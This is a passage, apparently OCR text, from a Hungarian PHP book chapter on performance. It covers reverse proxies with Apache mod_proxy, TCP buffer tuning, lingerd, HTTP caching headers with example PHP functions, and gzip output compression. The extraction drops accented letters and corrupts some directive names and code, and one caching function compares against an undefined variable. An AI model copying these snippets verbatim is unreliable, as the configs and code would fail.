vgezhetnek. A PHP nem rendelkezik beptett kdoptimalizlval, de lehetsgnk van arra, hogy ezt a feladatot bvtmnyekkel vgezzk el: A Zend Optimizer zrt forrs, de ingyenesen elrhet optimalizl program. Az ionCube Accelerator tartalmaz egy beptett optimalizlt. Ltezik egy jl bevlt optimalizl a PEAR-ben is. A kdoptimalizl hasznlatnak elnyeit akkor lvezhetjk igazn, ha a kdot egyszer fordtjuk le s optimalizljuk, majd ezutn sokszor futtatjuk. gy teht a PHP-ben az optimalizlok hasznlata gyakorlatilag rtelmetlen fordti gyorstrak alkalmazsa nlkl. Ha egytt hasznljuk ket, az optimalizl kicsi, de rzkelhet teljestmnynvekedst eredmnyez a fordti gyorstr nll alkalmazshoz kpest.

240

PHP fejleszts felsfokon

HTTP gyorstk
Az alkalmazsok teljestmnyt szmos tnyez befolysolja. Els rnzsre a teljestmnyt az albbiak korltozhatjk: az adatbzis teljestmnye, a CPU teljestmnye, ami szmts-, illetve mveletignyes alkalmazsoknl jelents, a lemez teljestmnye, amennyiben jelents mennyisg bemeneti-kimeneti mveletre van szksg, a hlzat teljestmnye olyan alkalmazsok esetben, amelyek jelents hlzati adattvitelre szorulnak. A kvetkez fejezetekben azt vizsgljuk meg, miknt hangolhatjuk gy alkalmazsainkat, hogy a lehet legkisebbre cskkentsk e korltozsok hatsait. Mieltt azonban tovbbhaladnnk, meg kell vizsglnunk egy olyan tnyezt is, amirl gyakran elfeledkeznk - a hlzati ksleltetst. Ha egy gyfl krelmet intz webhelynkhz, az adatcsomagoknak fizikailag is el kell jutniuk az Interneten keresztl az gyfltl a kiszolglig, s vissza. Emellett az opercis rendszerben is ltezik egy korlt arra nzve, hogy egyidben mennyi adat kldhet t egy TCP csatoln. Ha az adatmennyisg meghaladja ezt a korltot, az alkalmazs meggtolja az adattvitelt, vagy egyszeren addig vr, mg a tvoli rendszer vissza nem igazolja az adatok fogadst. gy teht a krelem feldolgozsn tl a webkiszolgl a lass hlzati kapcsolat miatt is vrakozsra knyszerlhet. A 9-3. bra a hlzat szintjn vgrehajtott mveleteket mutatja be egyetlen krelem feldolgozsa esetn, a vgrehajtshoz szksges idtartamokkal egytt. Mialatt a hlzati csomagok kldse s fogadsa zajlik, a PHP alkalmazs resjratban vesztegel. Figyeljk meg, hogy a 9.3- brn 200 ms olyan idt szmolhatunk ssze, amikor a PHP kiszolglnak elvileg az adatokkal kellene foglalkoznia, ehelyett azonban arra vr, hogy a hlzati adattvitel befejezdjn. Ez a hlzati idkiess szmos alkalmazsnl jelentsen nagyobb, mint a programok futtatsra fordtott id. Nos, ez nem felttlenl tnik komoly adattorldsi lehetsgnek, de knnyen azz vlhat. A gondot az okozza, hogy egy resjratban mkd webkiszolgl is felhasznl bizonyos erforrsokat - memrit, lland adatbzis-kapcsolatokat s egy helyet a folyamatok tbljban. Ha teht sikerl kikszblnnk a hlzati ksleltetst, ezzel egyttal lervidthetjk azt az idt, amit a PHP felesleges munka vgzsvel tlt - gy persze egyttal nvelhetjk az alkalmazs hatkonysgt.

9. fejezet Teljestmnyfokozs kls mdszerekkel

241

9.3. bra

Hlzati adattvitel egy tlagos krelem esetn.

Hlzati kapcsolatok blokkolsa

Ha azt lltjuk, hogy az alkalmazsnak blokkolnia kell a hlzati kapcsolatokat, nem mondunk teljesen igazat. Kszthetnk ugyanis olyan mdon is hlzati csatolkat, hogy a blokkols helyett a vezrls visszakerl az alkalmazshoz. Szmos nagyteljestmny webkiszolgl - mint a thttpd vagy a Tux - ezt a megkzeltst alkalmazza. Mindemellett azonban nem ismerek olyan PHP kiszolgl API-t (SAPI-t, vagyis olyan alkalmazsokat, amelyek beptett PHP-t tartalmaznak), amelyek lehetv tennk, hogy egyetlen PHP pldny egyszerre tbb krelmet is kiszolgljon. Ezrt ht, legyenek brmilyen gyorsak ezek a kiszolglk, mg nem blokkol hlzati kapcsolat mellett is olyan PHP folyamatokra van szksgk, amelyek egy krelemhez rendeltek annak teljes lettartama alatt.

242

PHP fejleszts felsfokon

Fordtott helyettesek
Sajnlatos mdon az Interneten tapasztalhat hlzati ksleltets kikszblse meghaladja a lehetsgeinket. (Brcsak mdunkban llna elbnni vele!) Valamit azonban mgis csak tehetnk - alkalmazhatunk egy jabb kiszolglt a vgfelhasznl s a PHP alkalmazs kztt. Ez fogadja az gyfelek krelmeit, tovbbtja ket a PHP alkalmazs fel, vrakozik a vlaszra, majd azt visszakldi a tvoli felhasznlnak. Ezt a helyettes kiszolglt (kztes kiszolglt, proxyt") fordtott helyettesnek (reverse proxy) vagy Hl 1F gyorstnak nevezik. Hasznlata az albbi felttelek mellett kifizetd: A helyettes kiszolgl kismret kell legyen. Krelmenknt jval kevesebb erforrst hasznlhat fel, mint maga a PHP alkalmazs. A helyettes kiszolgl s a PHP alkalmazs egyazon helyi hlzaton kell legyen. Kvetkezskppen a kettejk kzti kapcsolat ksleltetse igen rvid lesz. A 9.4. brn egy jellemz fordtotthelyettes-sszelltst lthatunk. Figyeljk meg, hogy a tvoli gyfelek nagy ksleltets kapcsolatok vgn tallhatk, mg a helyettes kiszolgl s a webkiszolgl egyazon nagysebessg hlzaton helyezkedik el. Vegyk szre azt is, hogy a helyettes kiszolgl sokkal tbb gyfllel tart fenn kapcsolatot, mint webkiszolglval. Ennek az az oka, hogy az alacsony ksleltetsi idej kapcsolat a helyettes s a webkiszolgl kztt lehetv teszi, hogy az utbbi egyszeren elkldje s elfelejtse" a tartalmt, nem kell vesztegetnie idejt a hlzati ksleltets miatti vrakozsra. Ha Apache kiszolglt hasznlunk, szmos kitn fordtott helyettes kzl vlaszthatunk, kztk az albbiakbl: mod_proxy - Szabvnyos" modul, melyet megkapunk az Apache kiszolglval. mod_accel - Kls gyrt ltal ksztett modul, ami meglehetsen hasonlt a mod_proxy-hoz (az igazat megvallva szmos rszlete az elbbi tiratnak tnik), emellett azonban tartalmaz kifejezetten a fordtott helyettesekre jellemz lehetsgeket is. mod_backhand - Kls gyrt ltal ksztett terhelskiegyenlt modul az Apache kiszolglhoz, ami fordtott helyettesi lehetsgeket is megvalst. Squid - Kls trol helyettes dmon, amely nagyteljestmny elre irnyul (forward) s fordtott (reverse) helyettes kiszolglst tesz lehetv.

9. fejezet Teljestmnyfokozs kls mdszerekkel

243

9.4. bra

Egy jellemz fordtotthelyettes-sszellts. A fenti megoldsok lehetv teszik, hogy a helyettes pldnya egy kijellt gpen legyen, vagy egyszeren egy msodik kiszolglpldnyknt ugyanazon a gpen fusson. Nzzk most meg, hogyan valsthatjuk meg ez utbbi esetet a mod_proxy segtsgvel. Ennek legegyszerbb mdja, ha kt Apache pldnyt fordtunk, az egyiket a mod_proxy-val (az /opt/apache_proxy knyvtrba teleptve), a msikat a PHP-vel (az /opt/apache_php knyvtrba teleptve). Egy jl ismert fogst alkalmazunk annak rdekben, hogy minden gpen ugyanaz az Apache bellts legyen rvnyes: Apache belltsi fjlunkban az externalether gpnevet hasznljuk. Ezutn megfeleltetjk ezt a nevet nyilvnos (kls) Ethernet felletnknek az /etc/hosts knyvtrban. Hasonlan, Apache belltsi fjlunkban a localhost gpnevet hasznljuk a 127.0.0.1 visszacsatolsi cm megjelentsre. Az Apache belltsok teljes kr megjelentse tlzottan sok helyet venne ignybe, gy csak a httpd. conf llomny apr rszlett mutatjuk be a legfontosabb belltsokkal, nmi kpet adva a krnyezetkrl is.

244

PHP fejleszts felsfokon

Egy mod_proxy alap fordtotthelyettes-bellts teht valahogy gy fest: DocumentRoot /dev/null Listen externalether:80 MaxClients 256 KeepAlive Off AddModule mod_proxy.c ProxyRequests On ProxyPass / http://localhost/ ProxyPassReverse / http://localhost/ ProxylOBufferSize 131072 <Directory proxy:*> Order Deny,Allow Deny from all </Directory> rdemes szrevennnk a kvetkezket: A DocumentRoot a /dev/null rtket kapta, mivel ez a kiszolgl nem rendelkezik sajt tartalommal. Kifejezetten a kiszolgl kls Ethernet cmhez (externalether) kell kapcsoldnunk, mivel egy tisztn PHP-t futtat pldnyt is mkdtethetnk ugyanazon a gpen. A Listen utasts nlkl az elsknt elindtott kiszolgl lektn az sszes elrhet cmet, lehetetlenn tve a msodik szmra a munkt. Az letben tartst (keepalive) kikapcsoltuk. A nagyforgalm webkiszolglk, amelyek elgaztat (pre-fork) modellt (mint az Apache) vagy kisebb mrtkben szlas modellt (mint a Zeus) hasznlnak, ltalban vesztenek a teljestmnykbl, ha az letben tarts be van kapcsolva. A ProxyRequests rtke On, ami azt jelenti, hogy a mod_proxy mkdhet. A ProxyPass / http: //localhost arra utastja a mod_proxy-t, hogy a / jellel kezdd krelmeket (vagyis tulajdonkppen az sszest) belsleg tovbbtsa ahhoz a kiszolglhoz, amelyik a helyi gp IP cmhez van ktve - vagyis a PHP pldnyhoz. Amennyiben a PHP pldny egy Location tirnytst eszkzl a f oo. php-n, amiben szerepel a kiszolgl neve, az gyfl az albbi tirnytst kapja meg: Location: http://localhost/foo.php Ez a vgfelhasznlnl nem mkdik, gy a ProxyPassReverse minden Location tirnytst tr gy, hogy az nmagra mutasson. A ProxylOBufferSize 131072 belltja azon tmeneti tr (buffer) mrett, melyet a fordtott helyettes hasznl a PHP-tl visszakapott adatok sszegyjtsre. Annak elkerlsre, hogy a bngsz irnyban folytatott adatcsere megakadlyozza a helyettes mkdst, ezt az rtket legalbb akkorra kell lltani, mint a legnagyobb, a felhasznlnak szolgltatott oldal mrete. Ez lehetv teszi, hogy az egsz

9. fejezet Teljestmnyfokozs kls mdszerekkel

245

oldalt tkldjk a PHP-tl a helyetteshez, mieltt brmilyen adat visszakerlne a bngszhz. Ezutn, mg a helyettes adatokat kld az gyfl bngszjnek, a PHP pldny nyugodtan dolgozhat. Vgl, letiltjuk az sszes kimen helyetteskrelmet a kiszolgl fel. Ezzel elejt vesszk a helyettes nem rendeltetsszer hasznlatnak.

Elgaztat, esemny alap s szlas folyamatarchitektrk

A webkiszolglk ltal hasznlt hrom f architektra az elgaztat, az esemnyalap, valamint a szlas modell. Az elgaztat modellben (pre-fork model) egy folyamathalmaz ll rendelkezsre a krelmek kezelsre. Ha egy j krelem rkezik, a rendszer kiosztja kezelsre az egyik gyermekfolyamatot. Egy folyamat ltalban tbb krelmet is kiszolgl, mieltt kilpne. Ezt a modellt alkalmazza az Apache 1.3. Az esemny alap modellben (event-based model) egyetlen folyamat szolglja ki a krelmeket egyetlen szlon, nem blokkol vagy aszinkron l/O-t hasznlva a gyors krelemfeldolgozshoz. Ez a mdszer rendkvl jl mkdik statikus fjlok kezelsnl, de korntsem ilyen hatkony dinamikus krelmek esetn (mivel gy egy-egy kln folyamat vagy szl szksges az egyes krelmek dinamikus rsznek kezelshez). Jef Poskanzer thttpd-je, ez a kismret, gyors webkiszolgl ezt a modellt hasznlja. A szlas modellben (threaded model) egy folyamat szlak egsz halmazt hasznlja a krelmek kiszolglsra. A mdszer igen hasonl az elgaztat modellhez, a klnbsg annyi, hogy itt egyes erforrsok megoszthatk a szlak kztt. A Zeus webkiszolgl ezt a modellt alkalmazza. Jllehet a PHP maga szlbiztos, nehz vagy egyenesen lehetetlen azt biztostani, hogy a kls gyrtk ltal ksztett bvtmnyek kdja szintn az legyen. Ez azt jelenti, hogy mg egy szlas webkiszolglnl is elfordulhat, hogy nem hasznlhatunk szlas PHP-t, helyette gaztatott folyamatvgrehajtst kell alkalmaznunk a fastcgi, illetve a cgi megvalstsainak segtsgvel. Az Apache 2 hozzadott jeles (drop-in) folyamatarchitektrval rendelkezik, ami lehetv teszi, hogy ignyeink szerint szlas, elgaztat vagy kevert modellt hasznljunk.

Az elz Apache kiszolgln bell ugyan meglehetsen sok belltsra volt szksg, a PHP-t futtat kiszolgln ezzel szemben nem sokat kell mdostanunk az eddigiekhez kpest. Egyetlen vltoztatsknt az albbi sort kell bernunk a httpd. conf fjlba: Listen localhost:80

246

PHP fejleszts felsfokon

Ez kizrlagosan hozzkti a PHP pldnyt a visszacsatolsi cmhez. Ha ezek utn el szeretnnk rni a webkiszolglt, csak a helyettes kiszolgln keresztl tehetjk meg. A vltoztatsok teljestmnyre gyakorolt hatsnak lemrse nehz feladat. Mdostsaink elssorban azt a terhelst cskkentik, amit az ersen ksleltetett kapcsolatok vgn tallhat gyfelek okoznak, gy nehz lemrni a vltozst egy helyi vagy nagy sebessg hlzaton. Egy sszelltsban jmagam lttam olyan fordtott helyettessel mkd rendszert, amely a webhely fenntartshoz szksges Apache gyermekfolyamatok szmt kpes volt 100-rl 20-ra cskkenteni.

Teljestmnyfokozs az opercis rendszer szintjn


Fontos szrevennnk, hogy ha nem szeretnnk helyi gyorstrakat alkalmazni, a fordtott helyettes hasznlata feleslegesen nagy energiabefektets. Hasonl hatst rhetnk el ugyanis kln kiszolgl futtatsa nlkl, ha lehetv tesszk, hogy maga az opercis rendszer gyorstrazza az adatokat. A korbbiakban, a fordtott helyettesek trgyalsa sorn lthattuk, hogy a hlzati vrakozsi id nagy rsze az gyflnek kldtt adatcsomagok kzti vrakozsbl ll. Az alkalmazs azrt knyszerl tbb adatcsomagot kldsre, mert az opercis rendszer korltozza az tmenetileg trolhat adatok mennyisgt, amelyeket egyidben egy TCP csatoln keresztl kldeni lehet. Szerencsre ezt a korltot magunk is megvltoztathatjuk. A FreeBSD-ben a TCP trakat az albbiak szerint mdosthatjuk: #sysctl -w net.int.tcp.sendspace=131072 #sysctl -w net.int.tcp.recvspace=8192 A Linuxban a kvetkezket tehetjk: #echo "131072" > /proc/sys/net/core/wmem_max Akrmelyiket is vgezzk el a fenti mdostsok kzl, a kimeneti TCP trmretet 128 KB-ra, mg a bemeneti trmretet 8 KB-ra lltjuk, (hiszen kevs bejv krelmet fogadunk, s sok vlaszt kldnk kifel). Ezzel egyttal felttelezzk, hogy a legnagyobb kldtt oldalmret 128 KB. Ha alkalmazott oldalmretnk ettl eltr, a belltsokat ennek megfelelen mdostani kell. Mindemellett szksg lehet arra is, hogy mdostsuk a kern. ipc.nmbclusters belltsait is, hogy megfelel mret memrit foglalhassunk le a megnvekedett tr szmra. (A rszletekrt forduljunk segtksz rendszergazda bartainkhoz.) Az opercis rendszer korltainak belltsa utn r kell vennnk az Apache kiszolglt arra, hogy hasznlja az gy kiptett nagymret trakat. Ehhez mindssze az albbi utastst kell elhelyeznnk a httpd. conf fjlban:
SendBufferSize 131072

9. fejezet Teljestmnyfokozs kls mdszerekkel

247

Vgezetl megszabadulhatunk a kapcsolat lezrsnl fellp hlzati ksedelemtl is a lingerd folt teleptsvel az Apache-ra. Ha a hlzati kapcsolatra nincs tbb szksg, a kld egy FIN adatcsomagot kld a fogadnak, jelezve, hogy a kapcsolat lezrhat. A kld ezutn egszen addig vrakozsra knyszerl, mg a fogad nem rtesti a FIN csomag fogadsrl - biztostva ezzel, hogy valban minden adat rendben tjutott. A FIN csomag elkldse utn az Apache-nak semmi mst nem kell tennie, mint vrni a FIN-ACK csomagra, majd lezrni a kapcsolatot. A lingerd folyamat gy kpes segteni ebben, hogy tadja a csatolt egy kls dmonnak (lingerd), amely ezek utn tvllalja a vrakozst a FIN-ACK csomagokra, s elintzi a kapcsolatok lezrst is. Nagyforgalm webkiszolglk esetn a lingerd hasznlata jelents teljestmnynvekedst eredmnyezhet, klnsen, ha alkalmazsa mellett az rsi trak mrett is megnveljk. A lingerd fordtsa hihetetlenl egyszer. Ez valjban egy folt (patch) az Apache kiszolglhoz (ami lehetv teszi, hogy az Apache tadhassa a fjllerkat a lezrshoz), s egy dmon, amely a lezrsokat megvalstja. A lingerd szmos ismert webhelyen hasznlatos, kztk megemltend a Sourcef orge . com, a Slashdot. org, valamint a L ive Journal. com.

Helyettes gyorstrak
Nagyszer dolog, ha kis ksleltets kapcsolattal rendelkeznk, de mg jobb, ha a tartalomkiszolglnak egyltaln nem kell krelmeket kiadnia. A HTTP segtsgvel ez megoldhat. A HTTP gyorstrazs szmos szinten mkdhet: a fordtott helyettesekbe ptett gyorstrak alakjban, a vgfelhasznl internetszolgltatjnl meglev helyettes gyorstrak alakjban, a felhasznl bngszjbe ptett gyorstrak alakjban. A 9.5. brn a fordtott helyettes gyorstrak egy jellemz elrendezst lthatjuk. Amikor a felhasznl krelmet intz a www. example. f oo cmhez, a DNS keress a helyettes kiszolglhoz irnytja. Ha a krt bejegyzs ltezik a helyettes gyorstrban, s nem elavult, az oldal trolt msolata kerl vissza a felhasznlhoz, s a webkiszolglnak a kisujjt sem kell megmozdtania. Egybknt a kapcsolat tkerl a webkiszolglhoz, hasonlan a fordtott helyettes korbban trgyalt esethez. A legtbb fordtotthelyettes-megolds, gy a Squid, a mod_proxy s a mod_accel tmogatja a beptett gyorstrakat. A fordtott helyettesbe ptett gyorstr hasznlata egyszer mdszert ad arra, hogy hatkonyabban kihasznlhassuk fordtott helyettesnket. Egy ilyen helyi gyorstr biztostja, hogy a trolhat tartalom valban troldik, gy cskken a terhels a httrmunkt vgz PHP kiszolglkon.

248

PHP fejleszts felsfokon

9.5. bra

Krelem egy fordtott helyettesen keresztl.

Gyorstrbart PHP alkalmazsok


Ahhoz persze, hogy kihasznljuk a gyorstrak elnyeit, PHP alkalmazsainkat gyorstrbartt" kell alaktanunk. Az ilyen alkalmazsok megrtik, miknt mkdnek a bngszk s a helyettesek trolsi mdszerei, s annak is tudatban vannak, sajt adataik miknt trolhatk. Bellthatjuk ket gy, hogy a gyorstrakhoz kapcsold utastsokat alkalmazva a bngszkben a megfelel eredmnyre jussanak. Ahhoz, hogy gyorstrbart alkalmazsokat ksztsnk, alapjban vve ngy HTTP fejlccel kell kzelebbi ismeretsget ktnnk:

Last-Modified Expires
Pragma: no-cache Cache-Control

9. fejezet * Teljestmnyfokozs kls mdszerekkel

249

A Last-Modified HTTP fejlc a HTTP 1.0 gyorstrkezelsnek egyik sarokkve. Tartalma az oldal utols mdostsnak dtuma az UTC (korbban GMT) id szerint. Ha egy gyorstr jra rvnyesteni kvnja magt, elkldi a Last-Modif ied dtumot If -Modif ied-Since fejlcmezje tartalmaknt, gy a kiszolgl megtudja, milyen msolat rvnyestsre van szksg. Az Expires mez a HTTP 1.0-ban az rvnyesthetetlensg idejt jelzi. Tartalma egy GMT dtum, amely utn a krt dokumentum tbb nem tekinthet rvnyesnek. Sokan olyan fejlcknt tekintenek a Pragme: no-cache-re, mint amit arra hasznlnak, hogy meggtoljk az objektumok gyorstrazst. Br e fejlc belltsa semmilyen htrnnyal nem jr, a HTTP lersa nem adja meg a pontos jelentst, gy hasznossgt csak az adja, hogy a HTTP 1.0 gyorstrak defacto szabvnynak szmt. A 90-es vek vgn, amikor szmos gyfl mg csak a HTTP 1.0-t rtette, a gyorstrak belltsainak tadsa meglehetsen korltozott volt az alkalmazsok kztt. Szoksos gyakorlatt vlt az albbi fejlcek elhelyezse minden dinamikus oldalon: function http_l_0_nocache_headers()
{

$pretty_modtime = gmdate('D, d M Y H : i : s ' ) header("Last-Modified: $pretty_modtime"); header("Expires: $pretty_modtime"); header("Pragma: no-cache");


}

' GMT';

Ez gyakorlatilag kzli a kztes gyorstrakkal, hogy az adatokat ne troljk, inkbb frisstsk minden alkalommal. Ha tgondoljuk, milyen lehetsget nyjtanak e fejlcek, hamar szrevehetnk nhny kirv hinyossgot: Ha az elvls idpontjt egy abszolt idblyegzvel szeretnnk megadni, az gyfl s a kiszolgl rendszerrinak sszhangban kell lennik. Egy gyfl bngszjnek gyorstra meglehetsen klnbzik az internetszolgltat gyorstrtl. Az elbbi kpes egy oldal testreszabott adatainak trolsra, mg egy tbb felhasznl ltal megosztott helyettes gyorstr nem. A HTTP 1.l-ben kikszbltk e hinyossgokat, mgpedig a Cache-Control utastsokkal. A Cache-Control vlaszfejlc lehetsges rtkeit az RFC 26l6-ban tallhatjuk meg, hasznlatnak alakja pedig a kvetkez:

250

PHP fejleszts felsfokon

Cache-Control = "Cache-Control" " : " l#cache-response-directive cache-response-directive = "public" I "privt" I "no-cache" I "no-store" I "no-transform" I "must-revalidate" I "proxy-revalidate" I "max-age" " = " delta-seconds I "s-maxage" " = " delta-seconds A Cache-Control utasts meghatrozza a krt dokumentum trolhatsgt. Az RFC 26l6-nak megfelelen minden gyorstr s helyettes meg kell rtse ezeket az utastsokat, s a fejlcnek t kell haladnia minden helyettesen egszen a bngszig, melytl a krelem szrmazott. A trolhatsg szablyozsra az albbi utastsokat hasznlhatjuk: public A vlasz brmely gyorstrban trolhat. privt - A vlasz nem megosztott gyorstrakban trolhat. Ez a gyakorlat szempontjbl azt jelenti, hogy a krelem csak a kld bngszjnek gyorstrban trolhat, a kztes gyorstrakban nem. no-cache - A vlasz nem trolhat egyetlen gyorstrban sem. A no-store utasts azt jelzi, hogy az tvitt adatok rzkenyek, gy nem trolhatk maradand trhelyeken. Ha az objektum trolhat, az utols utastsokkal azt szablyozzuk, milyen hossz ideig. must-revalidate - Minden gyorstrnak jra rvnyestenie kell az oldalhoz rkez krelmeket. Az ellenrzsnl a bngsz egy Is-Modified-Since fejlcet kld a krelemben. Amennyiben a kiszolgl igazolja, hogy a trolt oldal valban a legfrissebb vltozat, a 3 04 Not Modif ied vlaszt kldi az gyflnek - egybknt pedig visszakldi a teljes mdostott oldalt. proxy-revalidate - Ez az utasts hasonl tulajdonsgokkal rendelkezik, mint a must-revalidate, de itt csak a megosztott gyorstraknak kell jra rvnyestenik a tartalmukat. max-age - Itt adhatjuk meg msodpercben azt az idtartamot, amg a gyorstr egy elemt trolhatnak tekintjk. s-maxage - Itt adhatjuk meg msodpercben azt az idtartamot, amg a megosztott gyorstrak elemeit trolhatknak tekintjk. Fontos megjegyeznnk, hogy a HTTP 1.1 szabvny szerint, ha a max-age vagy az s-maxage rtkt belltottuk, ez fellbrlja az Expire fejlcben megadott rtkeket.

9. fejezet Teljestmnyfokozs kls mdszerekkel

251

Az albbi fggvny olyan oldalak kezelsre alkalmas, melyeket minden gyorstrban jra kell rvnyesteni: function validate_cache_headers($my_modtime)
{

$pretty_modtime = gmdate('D, d M Y H : i : s ' , $my_modtime) if($_SERVER['IF_MODIFIED_SINCE'] == $gmt_mtime) { header("HTTP/1.1 304 Not Modified"); exit ;
}

' GMT';

else { header("Cache-Control: must-revalidate"); header("Last-Modified: $pretty_modtime");


} }

A fggvny paramterknt az oldal legutbbi mdostsnak idejt fogadja, majd sszehasonltja a Is-Modif ied-Since fejlccel, melyet az gyfl bngszjtl kap. Ha a kt idpont megegyezik, a trolt msolat megfelel, gy a 304-es llapotkd kerl vissza az gyflhez, jelezve, hogy a msolat hasznlhat. Egybknt a kiszolgl a Last-Modif ied fejlcet kldi a Cache-Control-lal egytt, ami az jrarvnyestst szablyozza. A fggvny hasznlathoz termszetesen ismernnk kell az oldal legutbbi mdostsnak idpontjt. Egy statikus oldalnl (ami lehet kp vagy egy egyszer", nem dinamikus HTML oldal) ez egyszeren a fjl mdostsnak ideje. A dinamikusan (PHP-vel vagy mskpp) ksztett oldalak esetben itt az az idpont ll, amikor az oldal ksztshez felhasznlt adatok valamelyike megvltozott. Vegynk egy webnapl alkalmazst, amely foldaln a legfrissebb bejegyzseket jelenti meg: $dbh = new DB_MySQL_Prod() ; $result = $dbh->execute("SELECT max(timestamp) FROM weblog_entries"); if($results) { l i s t ( $ t s ) = $result->fetch_row(); validate_cache_headers($ts) ;
}

A legutbbi mdosts idpontjt itt az utols bejegyzs idblyegzje adja meg. Ha tudomsunk van arrl, hogy egy oldal rvnyes lesz bizonyos ideig, s nem klnsebben izgat, ha hirtelen elavultt vlik, kikapcsolhatjuk a must-revalidate fejlcet, s bellthatunk egy meghatrozott Expires rtket. Fontos tudatban lennnk annak,

252

PHP fejleszts felsfokon

hogy oldalunk valban elavultt vlhat idkzben: ha kzljk a helyettes gyorstrral, hogy a trolt tartalom egy Ideig megfelelnek tekinthet, elvesztjk annak lehetsgt, hogy frisstsk ezt a megadott idtartamban. Ezzel persze szmos alkalmazsnl semmi gond nincs. Vegynk pldul egy olyan hroldalt, mint a CNN-. Mg a legfrissebb hrek rkezsnl sem okoz gondot, ha a nyitlap frisstse egy percet ksik. Ha ennek megfelelen szeretnnk belltani a gyorstrakat, tbbfle mdszert is alkalmazhatunk. Amennyiben lehetv szeretnnk tenni, hogy a megosztott helyettesek egy percig troljk oldalunkat, hvhatunk egy, az albbihoz hasonl fggvnyt: function cache_novalidate($interval = 6 0 )
{

$now = time(); $pretty_lmtime = gmdate('D, d M Y H : i : s ' , $now) . ' GMT'; $pretty_extime = gmdatef'D, d M Y H : i : s ' , $now + $interval) . ' GMT'; // visszirny megfelelsg a HTTP/1.0 gyfelek szmra header("Last Modified: $pretty_lmtime"); header("Expires: $pretty_extime"); // HTTP/1.1-tmogats header("Cache-Control: public,max-age=$interval");
}

Ha azonban olyan oldalrl van sz, ami nmileg testreszabott (mondjuk egy nyitlaprl, ami helyi hreket is tartalmaz), azt is bellthatjuk, hogy a msolatot csak a bngsz trolja: function cache_browser($interval = 6 0 )
{

$now = time(); $pretty_lmtime = gmdate('D, d M Y H : i : s ' , $now) . ' GMT'; $pretty_extime = gmdate('D, d M Y H : i : s ' , $now + $interval) . ' GMT'; // visszirny megfelelsg a HTTP/1.0 gyfelek szmra header("Last Modified: $pretty_lmtime"); header("Expires: $pretty_extime"); // HTTP/1.1-tmogats header("Cache-Control: privt,max-age=$interval,s-maxage=0");
}

Vgezetl, ha a lehet leghatrozottabban el szeretnnk kerlni, hogy az oldalt brhol is troljk, a kvetkezket tehetjk: function cache_none($interval = 60)
{

// visszirny megfelelsg a HTTP/1.0 gyfelek szmra header("Expires: 0 ") ;

9. fejezet Teljestmnyfokozs kls mdszerekkel

253

header("Pragma: no-cache"); // HTTP/1.1-tmogats header("Cache-Control: no-cache,no-store,max-age=0,s-rnaxage=0, '- must-revalidate") ;


}

A PHP munkamenet-bvtmnye ilyen no-cache fejlceket llt be a session_start () hvsnl. Ha gy rezzk, hogy jobban ismerjk munkamenet alap alkalmazsunkat, mint a bvtmny szerzi, egyszeren tllthatjuk e fejlceket a session_start () hvst kveten. Az albbiakban felsorolunk nhny, a kls gyorstrak hasznlatval kapcsolatos buktatt: A POST-tal krelmezett oldalak nem trolhatk ezzel a mdszerrel. A gyorstrak ilyen hasznlata nem jelenti azt, hogy egy oldalt csak egyszer kell szolgltatnunk. Mindssze abban lehetnk biztosak, hogy adott helyettesnek adott idtartamon bell csak egy szolgltatsra van szksge. Nem minden helyettes kiszolgl felel meg az RFC szabvnyainak. Ha valahol nem vagyunk biztosak ebben, inkbb akadlyozzuk meg a gyorstr hasznlatt.

Tartalomtmrts
A HTTP 1.0-ban megjelent a tartalom kdolsnak lehetsge - ez lehetv teszi az gyfelek szmra, hogy jelezzk a kiszolglk fel: kpesek fogadni bizonyos mdokon kdolt tartalmat. A tartalom tmrtsvel kisebb mrethez jutunk, aminek kt alapvet kvetkezmnye van: A svszlessg-hasznlat cskken, hiszen az tvitt adatok sszmennyisge kisebb lesz. Szmos cg esetben a megfelel svszlessg biztostsa jelenti az els szm technikai kltsget. A hlzati ksleltets cskkenthet, hiszen a kisebb tartalom kevesebb hlzati adatcsomagban is tovbbthat. Ezekrt az elnykrt a tmrtsre felhasznlt processzoridvel fizetnk. Egy vals letben lefolytatott tesztben (a mod_gzip alkalmazsval) azt tapasztaltam, hogy a svszlessg felhasznlsnak 30%-os cskkense mellett sszessgben is teljestmnynvekedst rtem el: nagyjbl 10%-kal emelkedett az adattvitel oldal/msodperc egysgben mrt mrszma a tmrts nlkli esethez kpest. s mg ha e teljestmnynvekedstl el is tekintnk, a svszlessg kihasznlsnak 30%-os cskkense jelents kltsgmegtakartst tesz lehetv.

254

PHP fejleszts felsfokon

Amikor egy gyflbngsz krelmet kld a kiszolglhoz, jelzi a bngsztpust, valamint azt, hogy milyen lehetsgeket tmogat. Az itt kldtt fejlcek kztt a bngsz az ltala elfogadott tartalomtmrtsi mdokrl is tjkoztatst ad, valahogy gy: Content-Encoding: gzip,deflate A tmrts megvalstsra szmos lehetsg ll rendelkezsnkre. Ha a PHP-t zlibtmogatssal fordtottk le (az -enable-zlib kapcsolval), a legegyszerbb, ha a beptett gzip kimenetkezelt hasznljuk. Ezt a lehetsget a php. ini megfelel paramternek belltsval vehetjk hasznlatba:
zlib.output_compression On

Ilyenkor a kiszolgl automatikusan megllaptja a krelmez bngsz kpessgeit, s a tartalmat is ennek megfelelen, automatikusan tmrti. E mdszer egyetlen htrnya, hogy a tmrts ilyenkor csak a PHP kimenetre hat. Amennyiben kiszolglnk csak PHP-vel ellltott oldalakat szolgltat, semmi gond nincs. Ha azonban ms a helyzet, rdemes egy msik gyrt ltal ksztett Apache-modult hasznlnunk a tmrtshez. (Ez lehet pldul a mod_def lat vagy a mod_gzip.)

Tovbbi olvasmnyok
Fejezetnkben szmos j mdszert mutattunk be, melyek kzl sok bvebb trgyalst is megrdemelne. Az albbiakban az rdekldk szmra szolglunk nmi tmutatssal az elrhet irodalom tern.

RFC-k
Mindig j rzs a tudshoz els kzbl hozzjutni. Nos, az Interneten hasznlt protokollok lersnl az els kz" szerept az RFC-k jtsszk, melyeket az IETF gondoz. Az RFC 26l6-ban megismerkedhetnk a HTTP 1. l-ben megjelent fejlcekkel, tovbb tjkoztatst kaphatunk a klnbz utastsok (direktvk) hasznlatnak alakjrl s rtelmrl. Az RFC-k szmos helyrl letlthetk a weben, jmagam az IETF RFC troljt rszestem elnyben, melyet a www. iet f . org/rf c . html cmen rhetnk el.

Fordti gyorstrak
A fordti gyorstrak mkdsrl rszletesebben a 21. s 24. fejezetekben olvashatunk. Nick Lindridge, az ionCube gyorst szlatyja ksztett egy nagyszer lerst gyermeke mkdsrl, melyet a www.php-accelerator. co.uk/PHPA_Article.pdf cmen tallhatunk meg.

9. fejezet * Teljestmnyfokozs kls mdszerekkel

2S5

